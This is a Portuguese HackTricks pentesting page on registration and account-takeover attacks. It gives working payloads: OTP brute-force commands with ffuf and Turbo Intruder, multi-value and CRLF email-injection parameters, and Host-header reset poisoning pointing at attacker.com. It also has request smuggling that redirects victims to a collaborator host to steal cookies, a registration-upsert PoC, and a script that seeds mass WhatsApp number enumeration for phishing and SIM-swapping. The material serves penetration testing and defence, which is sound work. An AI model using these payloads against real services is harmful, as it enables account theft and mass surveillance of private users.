Registro & Takeover Vulnerabilities
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Registro Takeover
Registro Duplicado
- Tente gerar usando um nome de usuário já existente
- Teste variações do email:
- maiúsculas
- +1@
- adicione algum ponto no email
- caracteres especiais no nome do email (%00, %09, %20)
- Coloque caracteres em branco após o email:
test@test.com a - victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
- Tente truques de canonicalização do provedor de email (dependente do serviço):
- Gmail ignora pontos e subaddressing:
victim+1@gmail.com,v.ic.tim@gmail.comentregam paravictim@gmail.com - Alguns provedores são insensíveis a maiúsculas/minúsculas na parte local
- Alguns provedores aceitam unicode confusables. Tente homoglyphs e soft hyphen
\u00ADdentro da parte local - Abuse isto para: contornar checagens de unicidade, obter contas duplicadas/invites de workspace, ou bloquear registros da vítima (DoS temporário) enquanto prepara um takeover
Enumeração de nomes de usuário
Verifique se é possível descobrir quando um nome de usuário já foi registrado na aplicação.
- Mensagens de erro diferentes ou códigos de status HTTP
- Diferenças de tempo (usuário existente pode acionar lookup para IdP/DB)
- Autopreenchimento do formulário de registro com dados de perfil para emails conhecidos
- Verifique fluxos de equipe/convite: inserir um email pode revelar se uma conta existe
Política de Senha
Ao criar um usuário verifique a política de senha (veja se é possível usar senhas fracas).
Nesse caso você pode tentar bruteforce nas credenciais.
SQL Injection
Check this page para aprender como tentar account takeovers ou extrair informações via SQL Injections em formulários de registro.
Oauth Takeovers
SAML Vulnerabilities
Alterar Email
Quando registrado, tente alterar o email e verifique se a mudança é corretamente validada ou se é possível alterá-lo para emails arbitrários.
Mais Verificações
- Verifique se é possível usar emails descartáveis (mailinator, yopmail, 1secmail, etc.) ou contornar a blocklist com subaddressing como
victim+mailinator@gmail.com - Senha longa (>200) leva a DoS
- Verifique rate limits na criação de contas
- Use username@burp_collab.net e analise o callback
- Se verificação por número de telefone for usada, verifique edge cases de parsing/injection de telefone
Contact-discovery / identifier-enumeration oracles
Mensageiros centrados em número de telefone expõem um presence oracle sempre que o cliente sincroniza contatos. Reproduzir as discovery requests do WhatsApp historicamente entregou >100M consultas por hora, permitindo enumerações de conta quase completas.
Fluxo de ataque
- Instrumente um cliente oficial para capturar a requisição de upload da agenda (blob autenticado de números normalizados E.164). Reproduza-a com números gerados pelo atacante enquanto reutiliza os mesmos cookies/token do dispositivo.
- Agrupe números por requisição: WhatsApp aceita milhares de identificadores e retorna registrado/não registrado além de metadata (business, companion, etc.). Analise as respostas offline para construir listas de alvos sem enviar mensagens às vítimas.
- Escale horizontalmente a enumeração com SIM banks, cloud devices, ou proxies residenciais para que o throttling por conta/IP/ASN nunca seja acionado.
Modelagem do plano de discagem
Modele o plano de discagem de cada país para pular candidatos inválidos. O dataset NDSS (country-table.*) lista códigos de país, densidade de adoção e divisão por plataforma para que você possa priorizar faixas com alta probabilidade. Código de exemplo para semear:
import pandas as pd
from itertools import product
df = pd.read_csv("country-table.csv")
row = df[df["Country"] == "India"].iloc[0]
prefix = "+91" # India mobile numbers are 10 digits
for suffix in product("0123456789", repeat=10):
candidate = prefix + "".join(suffix)
enqueue(candidate)
Prioritise prefixes that match real allocations (Mobile Country Code + National Destination Code) before querying the oracle to keep throughput useful.
Transformando enumerações em ataques direcionados
- Alimente o oracle com leaked phone numbers (e.g., Facebook’s 2021 breach) para descobrir quais identidades ainda estão ativas antes de phishing, SIM-swapping, ou spamming.
- Fatie censos por país/OS/tipo de app para encontrar regiões com filtragem de SMS fraca ou alta adoção de WhatsApp Business para social engineering localizados.
Correlação de reutilização de chave pública
WhatsApp expõe a chave de identidade X25519 de cada conta durante o estabelecimento da sessão. Solicite material de identidade para cada número enumerado e deduplique as chaves públicas para revelar account farms, clientes clonados, ou firmware inseguro — chaves compartilhadas desanonimizam operações multi-SIM.
Verificação fraca de Email/Telefone (OTP/Magic Link)
Fluxos de registro frequentemente verificam propriedade via um OTP numérico ou um token de magic-link. Falhas típicas:
- OTP previsível ou curto (4–6 dígitos) sem limitação de taxa efetiva ou rastreamento por IP/dispositivo. Experimente tentativas paralelas e rotação de headers/IP.
- Reutilização de OTP entre ações ou contas, ou não vinculado ao usuário/ação específicas (e.g., o mesmo código funciona para login e signup, ou funciona após o e-mail ser alterado).
- Multi-value smuggling: alguns backends aceitam múltiplos códigos e verificam se algum corresponde. Tente:
code=000000&code=123456- JSON arrays:
{"code":["000000","123456"]} - Mixed parameter names:
otp=000000&one_time_code=123456 - Comma/pipe separated values:
code=000000,123456orcode=000000|123456 - Response oracle: diferencie wrong vs expired vs wrong-user codes por status/mensagem/tamanho do body.
- Tokens não invalidados após sucesso ou após alteração de senha/e-mail.
- Verification token não vinculado ao user agent/IP permitindo conclusão cross-origin a partir de páginas controladas pelo atacante.
Bruteforcing example with ffuf against a JSON OTP endpoint:
ffuf -w <wordlist_of_codes> -u https://target.tld/api/verify -X POST \
-H 'Content-Type: application/json' \
-d '{"email":"victim@example.com","code":"FUZZ"}' \
-fr 'Invalid|Too many attempts' -mc all
Adivinhação paralela/concorrente para contornar bloqueios sequenciais (use Turbo Intruder no Burp):
Trecho do Turbo Intruder para inundar tentativas de OTP de 6 dígitos
```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100) for code in range(0,1000000): body = '{"email":"victim@example.com","code":"%06d"}' % code engine.queue(target.req, body=body)def handleResponse(req, interesting): if req.status != 401 and b’Invalid’ not in req.response: table.add(req)
</details>
- Tente racing verification: submeta o mesmo OTP válido simultaneamente em duas sessões; às vezes uma sessão se torna uma conta atacante verificada enquanto o fluxo da vítima também é bem‑sucedido.
- Teste também Host header poisoning em links de verificação (igual ao reset poisoning abaixo) para leak ou completar a verificação em um host controlado pelo atacante.
<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>
<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>
<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>
## Account Pre‑Hijacking Techniques (antes da vítima se registrar)
Uma classe poderosa de problemas ocorre quando um atacante realiza ações no email da vítima antes de ela criar a conta, e depois recupera o acesso posteriormente.
Key techniques to test (adapte aos fluxos do alvo):
- Classic–Federated Merge
- Attacker: registers a classic account with victim email and sets a password
- Victim: later signs up with SSO (same email)
- Insecure merges may leave both parties logged in or resurrect the attacker’s access
- Unexpired Session Identifier
- Attacker: creates account and holds a long‑lived session (don’t log out)
- Victim: recovers/sets password and uses the account
- Test if old sessions stay valid after reset or MFA enablement
- Trojan Identifier
- Attacker: adds a secondary identifier to the pre‑created account (phone, additional email, or links attacker’s IdP)
- Victim: resets password; attacker later uses the trojan identifier to reset/login
- Unexpired Email Change
- Attacker: initiates email‑change to attacker mail and withholds confirmation
- Victim: recovers the account and starts using it
- Attacker: later completes the pending email‑change to steal the account
- Non‑Verifying IdP
- Attacker: uses an IdP that does not verify email ownership to assert `victim@…`
- Victim: signs up via classic route
- Service merges on email without checking `email_verified` or performing local verification
Dicas práticas
- Colete fluxos e endpoints de bundles web/mobile. Procure por classic signup, SSO linking, alteração de email/telefone e endpoints de password reset.
- Crie automação realista para manter sessões vivas enquanto você exercita outros fluxos.
- Para testes de SSO, levante um provedor de teste OIDC e emita tokens com claims `email` para o endereço da vítima e `email_verified=false` para verificar se o RP confia em IdPs não verificados.
- Após qualquer redefinição de senha ou alteração de email, verifique que:
- todas as outras sessões e tokens são invalidados,
- capacidades de alteração de email/telefone pendentes são canceladas,
- IdPs/emails/telefones previamente vinculados são re‑verificados.
Note: Extensive methodology and case studies of these techniques are documented by Microsoft’s pre‑hijacking research (see References at the end).
<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>
<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>
## **Password Reset Takeover**
### Token de Redefinição de Senha Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Solicite a redefinição de senha para o seu endereço de email
2. Clique no link de password reset
3. Não altere a senha
4. Clique em qualquer site 3rd party (eg: Facebook, twitter)
5. Intercepte a requisição no proxy do Burp Suite
6. Verifique se o header referer está leakando o token de password reset.
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Intercepte a requisição de password reset no Burp Suite
2. Adicione ou edite os seguintes headers no Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Encaminhe a requisição com o header modificado\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Procure por uma URL de password reset baseada no _host header_ como : `https://attacker.com/reset-password.php?token=TOKEN`
### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR em parâmetros da API
- O atacante precisa fazer login com sua conta e ir para a funcionalidade Change password.
- Inicie o Burp Suite e intercepte a requisição
- Envie para a aba repeater e edite os parâmetros : User ID/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Token fraco de password reset
O password reset token deve ser gerado aleatoriamente e ser único a cada vez.
Tente determinar se o token expira ou se é sempre o mesmo; em alguns casos o algoritmo de geração é fraco e pode ser adivinhado. As seguintes variáveis podem ser usadas pelo algoritmo.
- Timestamp
- UserID
- Email do usuário
- Firstname and Lastname
- Date of Birth
- Cryptography
- Apenas números
- Pequena sequência de token ( caracteres entre [A-Z,a-z,0-9])
- Reuso de token
- Data de expiração do token
Leaking Password Reset Token
- Dispare uma solicitação de password reset usando a API/UI para um email específico, ex: test@mail.com
- Inspecione a resposta do servidor e verifique por
resetToken - Então use o token em uma URL como
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Password Reset Via Username Collision
- Registre-se no sistema com um username idêntico ao do alvo, mas com espaços em branco inseridos antes e/ou depois do username. ex:
"admin " - Solicite um password reset com seu username malicioso.
- Use o token enviado para seu email e redefina a senha da vítima.
- Conecte-se à conta da vítima com a nova senha.
A plataforma CTFd foi vulnerável a este ataque.
See: CVE-2020-7245
Tomada de conta via Cross Site Scripting
- Encontre um XSS dentro da aplicação ou em um subdomínio se os cookies estiverem scopped para o parent domain :
*.domain.com - Leak o cookie de sessão atual
- Autentique-se como o usuário usando o cookie
Tomada de conta via HTTP Request Smuggling
- Use smuggler para detectar o tipo de HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\ - Construa uma request que sobrescreva o
POST / HTTP/1.1com os seguintes dados:GET http://something.burpcollaborator.net HTTP/1.1 X:com o objetivo de open redirect as vítimas para burpcollab e roubar seus cookies\ - A requisição final pode se parecer com o seguinte
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Relatórios do Hackerone sobre a exploração deste bug\
Sequestro de Conta via CSRF
- Crie um payload para o CSRF, ex.: “HTML form with auto submit for a password change”
- Envie o payload
Sequestro de Conta via JWT
JSON Web Token might be used to authenticate an user.
- Edite o JWT com outro User ID / Email
- Verifique por assinatura JWT fraca
JWT Vulnerabilities (Json Web Tokens)
Registration-as-Reset (Upsert on Existing Email)
Alguns signup handlers realizam um upsert quando o email fornecido já existe. Se o endpoint aceita um corpo mínimo com um email e password e não exige verificação de propriedade, enviar o email da vítima irá sobrescrever a senha dela antes da autenticação.
- Discovery: coletar nomes de endpoints do JS empacotado (ou do tráfego do app móvel), então fuzzar caminhos base como /parents/application/v4/admin/FUZZ usando ffuf/dirsearch.
- Method hints: um GET retornando mensagens como “Only POST request is allowed.” frequentemente indica o verbo correto e que um corpo JSON é esperado.
- Minimal body observed in the wild:
{"email":"victim@example.com","password":"New@12345"}
Exemplo de PoC:
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
Impacto: Full Account Takeover (ATO) sem qualquer reset token, OTP, ou verificação de e-mail.
Referências
- How I Found a Critical Password Reset Bug (Registration upsert ATO)
- Microsoft MSRC – Pre‑hijacking attacks on web user accounts (May 2022)
- https://salmonsec.com/cheatsheet/account_takeover
- Hey there! You are using WhatsApp: Enumerating Three Billion Accounts for Security and Privacy (NDSS 2026 paper & dataset)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


